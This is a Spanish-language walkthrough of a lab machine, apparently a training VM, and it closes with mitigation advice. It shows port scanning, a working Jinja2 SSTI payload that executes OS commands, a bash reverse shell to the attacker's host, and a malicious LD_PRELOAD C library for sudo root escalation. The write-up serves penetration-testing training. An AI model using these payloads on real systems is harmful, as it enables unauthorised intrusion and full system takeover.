Laboratorio Guiado - 03-preload

Objetivo: Simular un escenario de intrusión en un entorno realista con una máquina vulnerable. El objetivo es identificar y explotar una vulnerabilidad de tipo Server-Side Template Injection (**SSTI**), en una aplicación web escrita en **Flask** para ejecutar comandos remotos, obtener acceso al sistema y escalar privilegios hasta obtener una shell como root, siguiendo las fases del **OWASP Testing Guide v4.**(Enlace a la máquina).

---

1. Information Gathering (OTG-INFO)

Descubrimiento de la IP de la víctima

Se utilizó `arp-scan` para escanear la red local y detectar dispositivos conectados:

```
› arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.151   08:00:27:8e:15:d6     PCS Systemtechnik GmbH
```

La IP de la víctima es `192.168.1.151`.

---

2. Configuration and Deployment Management Testing (OTG-CONFIG)

Enumeración de puertos con `nmap`

Se realiza un escaneo de puertos TCP para identificar los servicios activos:

```
› sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts
192.168.1.151
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp
MAC Address: 08:00:27:8E:15:D6 (Oracle VirtualBox virtual NIC)
```

Luego se realiza un escaneo más detallado sobre los puertos detectados:

```
› nmap -sCV -p 22,80,5000 -oN 02-targeted.txt 192.168.1.151
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 4f:4c:82:94:2b:99:f8:ea:67:ff:67:3c:06:8a:71:b5 (RSA)
|   256 c4:2c:9b:c8:12:93:2f:8a:f1:57:1c:f6:ab:88:b9:61 (ECDSA)
|_  256 10:18:7b:11:c4:c3:d4:1a:54:cc:18:68:14:bb:2e:a7 (ED25519)
80/tcp   open  http       nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Welcome to nginx!
5000/tcp open  landesk-rc LANDesk remote management
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

3. Testing for Web Application Fingerprint (OTG-INFO-008)

Interacción con servicio en puerto 5000

Se accede al puerto 5000 con nc y se detecta que el servicio es un **servidor Flask** mal configurado:

```
❯ nc 192.168.1.151 5000
 * Serving Flask app 'code' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production
deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production
deployment.
 * Running on http://192.168.1.151:50000/ (Press CTRL+C to quit)
```

---

4. Testing for Input Handling (OTG-INPVAL)

Fuzzing de parámetros con `ffuf`

Se realiza una búsqueda de parámetros vulnerables que podrían aceptar entradas del usuario:

```
❯ ffuf -u 'http://192.168.1.151:50000/?FUZZ=/etc/passwd' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medi
um.txt -t 100 -fs 290
...
cmd         [Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 515ms]
...
```

Se encuentra el parámetro **`cmd`** activo.

---

5. Testing for Server-Side Template Injection (OTG-INPVAL-005)

Verificación de SSTI con Jinja2

```
❯ curl "http://192.168.1.151:50000/?cmd=\{\{7*7\}\}"
49
```

La respuesta 49 confirma que el motor de plantillas está evaluando expresiones: **SSTI Confirmado**.

---

6. Testing for Application Logic (OTG-BUSLOGIC)

Enumeración de configuración con Jinja2

```
› curl "http://192.168.1.151:50000/?cmd=\{\{config\}\}"
<Config {...}>
```

La configuración de Flask es expuesta, lo que es un fallo grave de lógica de negocio.

---

7. Testing for Remote Code Execution (OTG-INPVAL-013)

Ejecución remota de comandos

Se usa un payload para iterar sobre las clases y utilizar `__import__('os').popen` para ejecutar comandos:

```
{%
    for x in ().__class__.__base__.__subclasses__()
%}
    {%
        if "warning" in x.__name__
    %}
        {{

x()._module.__builtins__['__import__']('os').popen(request.args.input).
read()
        }}
    {% endif %}
{% endfor %}
```

Se accede vía navegador:

```
http://192.168.1.151:50000/?cmd={% for x in
().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__
%}{{x()._module.__builtins__['__import__']('os').popen(request.args.inp
ut).read()}}{%endif%}{%endfor%}&input=whoami
```

Resultado:

paul

El código fue ejecutado exitosamente. Tenemos ejecución remota.

---

8. Testing for Backdoors & Shells (OTG-CODE-001)

Obtención de reverse shell

Se inyecta una reverse shell usando el mismo payload:

```
input=bash -c "bash -i >& /dev/tcp/192.168.1.5/1234 0>&1"
```

Con `ncat`:

```
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.151:43980.
paul@preload:/$
```

Se obtiene acceso a la shell como el usuario **`paul`**.

---

9. Testing for Privilege Escalation (OTG-ACCESS-007)

Verificación de permisos con `sudo -l`

```
paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
    env_reset, mail_badpass, env_keep+=LD_PRELOAD,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin

User paul may run the following commands on preload:
    (root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep,
/usr/bin/tail,
        /usr/bin/head, /usr/bin/ss
```

Detectamos que es posible ejecutar varios comandos como root sin necesidad de contraseña. Sin embargo, lo más relevante es el uso permitido de la variable de entorno **LD_PRELOAD**, que permite a los usuarios precargar bibliotecas compartidas al ejecutar comandos con sudo.

Esto representa una vulnerabilidad crítica, ya que, tal como se explica en este artículo https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/, podemos crear una biblioteca maliciosa para aprovechar esta característica y así obtener una shell con privilegios de root.

---

10. Explotación de LD_PRELOAD para Escalada de Privilegios

Creación de biblioteca maliciosa

```
❯ cat pwned.c
#include <stdlib.h>
#include <unistd.h>

void _init() {
  unsetenv("LD_PRELOAD");
  setgid(0);
  setuid(0);
  system("/bin/bash");
}
```

Compilación y ejecución:

```
paul@preload:/tmp$ gcc -fPIC -shared -o pwned.so pwned.c -nostartfiles

paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/pwned.so ss

root@preload:/tmp#
```

Se obtiene una shell con privilegios de **root**.

11. Recomendaciones de Seguridad

A continuación se detallan recomendaciones específicas para mitigar las vulnerabilidades identificadas en este laboratorio, organizadas según las áreas de debilidad detectadas:

Server-Side Template Injection (SSTI) – OTG-INPVAL-005

Hallazgo:
La aplicación Flask procesa entradas sin sanitizar en su motor de plantillas Jinja2, lo que permite ejecución remota de código.

Recomendaciones:

- Implementar validación y saneamiento estricto de todas las entradas de usuario antes de renderizarlas.
- Evitar el uso de plantillas que evalúan expresiones dinámicas con datos no confiables.
- Utilizar mecanismos seguros de plantillas o limitar funciones accesibles en el entorno de plantillas.
- Configurar el entorno de Flask para producción, deshabilitando el modo debug y mensajes de error detallados.
- Actualizar Flask y sus dependencias para incluir parches de seguridad.

Exposición de Servicios y Software Desactualizado – OTG-CONFIG-001

Hallazgo:
El servidor expone servicios no necesarios (puerto 5000/50000) y utiliza versiones sin hardening (nginx 1.18.0, OpenSSH 8.4p1).

Recomendaciones:

- Deshabilitar o restringir servicios innecesarios como el servidor Flask en modo desarrollo.
- Actualizar nginx, OpenSSH y demás servicios a versiones actuales y soportadas.
- Configurar reglas de firewall para limitar el acceso solo a puertos y servicios requeridos.
- Implementar encabezados HTTP de seguridad: `X-Content-Type-Options`, `Strict-Transport-Security`, `X-Frame-Options`.

Escalada de Privilegios por Variables de Entorno en Sudo – OTG-PRIV-002

Hallazgo:
Permiso para usar `sudo` con la variable `LD_PRELOAD` sin contraseña permite carga de librerías maliciosas y escalada a root.

Recomendaciones:

- Eliminar permisos de `sudo`, que permitan manipular variables de entorno peligrosas (`LD_PRELOAD`, `LD_LIBRARY_PATH`).
- Aplicar el principio de mínimo privilegio revisando y limitando estrictamente comandos permitidos con `sudo`.
- Auditar regularmente el archivo `/etc/sudoers` y archivos en `/etc/sudoers.d/` para detectar configuraciones inseguras.
- Considerar la implementación de mecanismos de control de ejecución reforzados como AppArmor o SELinux.

Gestión General de Seguridad

Recomendaciones adicionales:

- Implementar un sistema de monitoreo y registro de accesos y actividades sospechosas en los servicios críticos.
- Realizar pruebas de penetración periódicas y análisis automatizados con herramientas como OWASP ZAP o Burp Suite.

- Seguir una estrategia de defensa en profundidad que incluya segmentación de red, control de acceso y backups frecuentes.

- Integrar revisiones de código y auditorías de seguridad en el ciclo de desarrollo (SDLC).

- Proporcionar formación y concientización en seguridad a desarrolladores y administradores del sistema.